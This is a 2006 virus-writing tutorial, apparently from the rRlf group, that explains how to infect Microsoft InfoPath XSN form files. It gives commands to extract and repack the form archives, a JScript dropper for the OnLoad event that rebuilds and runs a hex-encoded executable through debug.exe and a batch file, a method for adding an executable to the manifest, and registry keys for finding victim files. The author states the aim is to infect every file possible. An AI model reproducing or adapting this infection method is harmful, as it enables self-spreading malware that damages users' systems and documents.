Computerviruses meet Infopath
by Second Part To Hell

	  ************                                      ***********
	  ************     Computerviruses meet Infopath    ***********
	  ************     by Second Part To Hell/[rRlf]    ***********
	  ************                                      ***********


  0) Intro

  1) How does InfoPath work

  2) Infection Type I: Virus in script.js
     a) Open a XSN file
     b) Searching the infectable position
     c) Dropping the binary virus code
     d) Re-generating the XSN file

  3) Infection Type II: Virus in Cabinet-Archive
     a) Modify manifest.XSF
     b) The Problem: Executing the code

  4) Find more Files

  5) Last words

  0) Intro

     Microsoft Office Infopath has been released in Office 2003. It is a XML
     based interactive formulare-generation tool. Infopath works perfectly
     together with Microsoft Windows SharePoint Server and Microsoft Office
     SharePoint Services. You can import and export data via MS-SQL or XML
     files, if you prefer that. You can create connections between objects very
     easiely and you can make anything automatic with scripts behind the
     document. When I had to learn Infopath, I sat there with a 500 pages book,
     and was quite bored. When I read about Infopath-Macros, I thought about
     doing something more interesting... I wrote a virus that infects Infopath
     XSN files. And here we are...

  1) How does InfoPath work

     Infopath file-extantion is .XSN. These files are simple Cabinet Archives.
     When we open such an archive, we can see manifest.xsf (more about it later),
     several XML files, XSD (XML schema files), XSL (XML Stylesheet files), GIFs,
     and highly probably a file called script.js. In the Cabinett archive, the
     manifest.xsf has to be the first compressed file. This file contains (in XML
     language) the data about all other files in the archive.
     That means, Infopath decompresses the cabinet-file (XSN) and opens the
     manifest.xsf to organize the formulare. Now, for viruses it's important that
     you can write macros and create functions behind every object. This program
     does not use simple VBA as all other Office products use, but it uses eighter
     VBS or JS (which is used by default - and every sample code about Infopath I
     could find has been written in JS). When I read a little bit about this macros,
     I feeled like they wanted us to write viruses for it. The JS is able to use
     ActiveX (including new objects as 'FileSystemObject' or 'WScript.Shell'), and
     more important: An empty onload-function is included in every script.js
     in case at least one time the (included) Script-Editor has been opened. Very
     nice - thanks to the Infopath structure-creator! :D

  2) Infection Type I: Virus in script.js

     This infection type has been done by me in my first infopath-virus. Let's say
     the virus is an .exe file. It searchs for .XSN files whereever it wants.
     If it finds a file, the file will be opened...

     a) Open a XSN file

        This is not as simple as it may sound. As I've already written, XSN files
        are archives, and we have to extract them. But per fortuna Microsoft provides
        an very helpful (but annoying buggy) tool by default in every windows version
        that I have tested (Windows NT, Windows 2000, Windows XP and Windows 2003).
        The tool can be found at '%system%\extrac32.exe', and it is undocumented,
        which means that you can not find any information about it by commandline
        (for example: 'extrac32 /?'). By searching some time at the internet, we found
        the parameters for extracting .CAB files:

        - - -
        %system%\extrac32.exe /e /a %filename%
        - - -

        %system%: Represents the path of the system-directory (for example: 'C:\WinNT\system32\')
        %filename%: The filename of the cabinet-file, which should be extracted.

        When you run that command, the file will be extracted in the current directory.
        (Note: The extrac32.exe contains a very annoying bug: If one of the decompressed
        files already exists in the current directory, it creates an infinitive loop and
        starts using 100% CPU speed).

     b) Searching the infectable position

        I've already mentioned that the file we need is script.js. For understanding this
        file better, you'll see the original (beside of the OnClick-Event) empty file:

 - - - - - - - - - - - - - - - - - [Empty script.js] - - - - - - - - - - - - - - - - -
 * This file contains functions for data validation and form-level events.
 * Because the functions are referenced in the form definition (.xsf) file, 
 * it is recommended that you do not modify the name of the function,
 * or the name and number of arguments.

// The following line is created by Microsoft Office InfoPath to define the prefixes
// for all the known namespaces in the main XML data file.
// Any modification to the form files made outside of InfoPath
// will not be automatically updated.
XDocument.DOM.setProperty("SelectionNamespaces", 'xmlns:my=""');

// The following function handler is created by Microsoft Office InfoPath.
// Do not modify the name of the function, or the name and number of arguments.
function CTRL1_5::OnClick(eventObj)
	// Write your code here

function XDocument::OnLoad(eventObj)
	// Write your code here
 - - - - - - - - - - - - - - - - -[Empty script.js] - - - - - - - - - - - - - - - - -

        Now we know how the file looks, and how to get the position of the infectable function:
        We simply search for the string: 'XDocument::OnLoad(eventObj)'. By that, we find the
        OnLoad event of the current-Document-object. This is exactly what we need.

     c) Dropping the binary virus code

        After finding the pointer to infect, we can drop the code of our binary now. In real,
        this is not as easy as it sounds. JScript has been designed to be "secure", and can
        not handle binary data - in theory. But per fortuna Microsoft has installed a tool
        by default, which will help us manage that problem: debug.exe (mille grazie per
        SlageHammer! +g+). For that, we have to convert the binary virus code to hex code,
        and insert it into a JScript - which will look like this:

 - - - - - - - - - - - - - - - - - [Ready to drop JScript] - - - - - - - - - - - - - - - - - 
var fso,shell,nxln,wsc,filee;
fso=new ActiveXObject("Scripting.FileSystemObject");
file=fso.CreateTextFile("C:\\virus.txt", true);
file.Write("e 0100 4D 5A 80 00 .....\nrcx\nFILESIZE\nn C:\\virus.dmp\nw\nq");
shell=new ActiveXObject("WScript.Shell");filee=fso.CreateTextFile("C:\\test.bat");
filee.Write("debug<C:\\virus.txt"+nxln+"ren C:\\virus.dmp C:\\virus.exe");
 * Here you have to have something that waits ~1 second,
 * because the .BAT file has to finish before doing anything else.
 * suggestions: 'for (i=0; i<1000000; i++) {}' or something like that
if (fso.FileExists("C:\\virus.exe")) { fso.DeleteFile("C:\\virus.exe"); }
if (fso.FileExists("C:\\test.bat")) { fso.DeleteFile("C:\\test.bat"); }
if (fso.FileExists("C:\\virus.DMP")) { fso.CopyFile("C:\\virus.DMP","C:\\virus.exe"); }
if (fso.FileExists("C:\\virus.DMP")) { fso.DeleteFile("C:\\virus.DMP"); }
 - - - - - - - - - - - - - - - - - [Ready to drop JScript] - - - - - - - - - - - - - - - - - 

        We generate and execute a file called virus.exe at C:\. It seems like C:\ would be
        the current directory for the file now - and it searchs for files in there - but
        that is not true. The file-process has been created by the Infopath formular macro,
        and the .exe has the Current Directory (GetCurrentDiretory) as the running .XSN file.
        This is a very great advantage for viruswriting, otherwise we would have had to search
        for more files in an other way.

     d) Re-generating the XSN file

        After successful infection of the script.JS, we have to pack them again into
        a cabinet archive. Sounds like brainfuck - but isn't :-) Microsoft has once more
        provided a installed-by-default tool (in all Windows versions I've tested), which
        will do most of our work. The tool we have found is called makecab.exe. Here a
        short explanation of itself:

 - - - - - - - - - - - - - - - - - [MAKECAB explains itself] - - - - - - - - - - - - - - - - -
Microsoft (R) Cabinet Maker - Version 5.1.2600.2180
Copyright (c) Microsoft Corporation. All rights reserved..

MAKECAB [/V[n]] [/D var=value ...] [/L dir] source [destination]
MAKECAB [/V[n]] [/D var=value ...] /F directive_file [...]

  source         File to compress.
  destination    File name to give compressed file.  If omitted, the
                 last character of the source file name is replaced
                 with an underscore (_) and used as the destination.
  /F directives  A file with MakeCAB directives (may be repeated).
  /D var=value   Defines variable with specified value.
  /L dir         Location to place destination (default is current directory).
  /V[n]          Verbosity level (1..3).
 - - - - - - - - - - - - - - - - - [MAKECAB explains itself] - - - - - - - - - - - - - - - - -

        We see that we have to use 'MAKECAB /F directive_file', as we need to pack more
        than one file. OK, but what the hell is a directive file?
        Microsoft MAKECAB SDK (yes, something like that happens +g+) explains us that
        a directive file contains the filenames and the order of filenames which should
        be packed. As I've mentioned somewhere above, manifest.xsf has to be the first file,
        the further order is not important. This is a directive-file of a simple XSN file:

        - - -
        - - -

        Now we can use the command 'MAKECAB /f directive.txt' - and immediatly a new .cab
        file has been created in the default directory with default filename: 'disk1/'.
        Finally, we can remove the old, uninfected XSN file with the new one.

  3) Infection Type II: Virus in Cabinet-Archive

     This is another infection type of XSN files, but still I dont know if it is
     fully possible. Advantage: No need of debug.exe...
     At this idea we don't drop the hex-code of the binary virus in the script.js,
     but copy the virus.exe itself into the archive, and modify manifest.xsf and

     a) Modify manifest.XSF

        As every file of the archive has to be in the XML Form (manifest.xsf) File, we have to
        add our file too. First let's see a standard manifest.XSF file:

 - - - - - - - - - - - - - - - - - [manifest.XSF] - - - - - - - - - - - - - - - - -
<?xml version="1.0" encoding="UTF-8"?>
This file is automatically created and modified by Microsoft Office InfoPath.
Changes made to the file outside of InfoPath might be lost if the form template is modified in InfoPath.
<xsf:xDocumentClass publishUrl="E:\temp\Template1.xsn" solutionVersion="" productVersion="11.0.5531" solutionFormatVersion="" xmlns:xsf="" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:xd="" xmlns:xsi="" xmlns:my="">
			<xsf:file name="myschema.xsd">
					<xsf:property name="namespace" type="string" value=""></xsf:property>
					<xsf:property name="editability" type="string" value="full"></xsf:property>
					<xsf:property name="rootElement" type="string" value="myFields"></xsf:property>
			<xsf:file name="template.xml"></xsf:file>
			<xsf:file name="sampledata.xml">
					<xsf:property name="fileType" type="string" value="sampleData"></xsf:property>
			<xsf:file name="view1.xsl">
					<xsf:property name="lang" type="string" value="1031"></xsf:property>
					<xsf:property name="viewWidth" type="string" value="542px"></xsf:property>
					<xsf:property name="componentId" type="string" value="1"></xsf:property>
			<xsf:file name="script.js">
					<xsf:property name="scriptType" type="string" value="userEvents"></xsf:property>
	<xsf:importParameters enabled="yes"></xsf:importParameters>
		<xsf:useTransform transform="" minVersionToUpgrade=""></xsf:useTransform>
	<xsf:views default="View 1">
		<xsf:view name="View 1" caption="View 1">
				<xsf:button name="CTRL1_5"></xsf:button>
			<xsf:mainpane transform="view1.xsl"></xsf:mainpane>
	<xsf:applicationParameters application="InfoPath Design Mode">
		<xsf:solutionProperties lastOpenView="view1.xsl" fullyEditableNamespace="" scriptLanguage="jscript"></xsf:solutionProperties>
		<xsf:documentSchema rootSchema="yes" location=" myschema.xsd"></xsf:documentSchema>
		<xsf:initialXmlDocument caption="Template1" href="template.xml"></xsf:initialXmlDocument>
	<xsf:scripts language="jscript">
		<xsf:script src="script.js"></xsf:script>
 - - - - - - - - - - - - - - - - - [manifest.XSF] - - - - - - - - - - - - - - - - -

        First you can see, that this file is UTF-8 (as any file generated by Infopath). This may be
        important if you want to modify that file.
        As you can see too, it is not important that <xsf:file>-tags contain further information.
        That means, we can simply add a string "<xsf:file name="virus.exe"></xsf:file>" to the file,
        and Infopath will accept it.

     b) The Problem: Executing the code

        I have not found a solution for that so far, but somehow i'm sure it exists (as anything
        is that unsecure in Infopath). The idea is to create a script in the OnLoad-Event (again)
        and execute the virus.exe. Problem: I have not found a way to find, where the files of the
        archive will be extracted temporaryly. Second idea: Script.js generates a .JS file, which
        extracts the archive by itself and runs the virus.exe then. Problem: When the .JS file is
        dropped at a hardcoded path, it does not "know" where the archive was. (I was not able to
        find out a way that the script.js in the XSN file "knows" where it is.) When the file will
        be generated at a non-hardcoded path, it will be the system-path, and the same problem happens
        again. Maybe somebody else finds a solution and can use the rest of the idea then.

  4) Find more Files

     So far I have just written about infection types. But we also have to find infectable files.
     And current-directory is good enough for a proof-of-concept virus, but not for further
     experiences with Infopath.
     When I was searching for infectable victims, I used the Registry, and found some very useful

     HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\InfoPath\Recent File List

     This key contains values of Filenames. The valuename is "File n" where x is a number.
     You can read it out and infect that file. And as documents are often saved in the same
     directory, you should also use a full directory-search.


     That key contains a list of the recently used XSN files. There is a value called MRUList,
     which contains all letters of further values, which contains files - like that:

     - - -
     a [C:\Windows\System32\victim1.xsn]
     b [D:\Documents and Settings\victim2.xsn]
     MRUList [ab]
     - - -

     This may also be a nice way to find further files.

  5) Last words

     This is just the beginning of a very big amount of technique, released by Microsoft recently,
     for online/web-orientated teamworking. Things like Windows SharePoint Server/Office SharePoint
     Services are great developements - and also provide much coding (webparts, ect). MS FrontPage
     (which will be called "SharePoint Designer 2007" soon) has a great new amount of features,
     which could also become victims. There is much to discover and to develope - we will not rest
     until any infectable file is infected :-)

                                                  - - - - - - - - - - - - - - -
                                                    Second Part To Hell/[rRlf]  
                                                    written in February-March 2006

                                                    ...surrealistic viruswriter...
                                                  - - - - - - - - - - - - - - -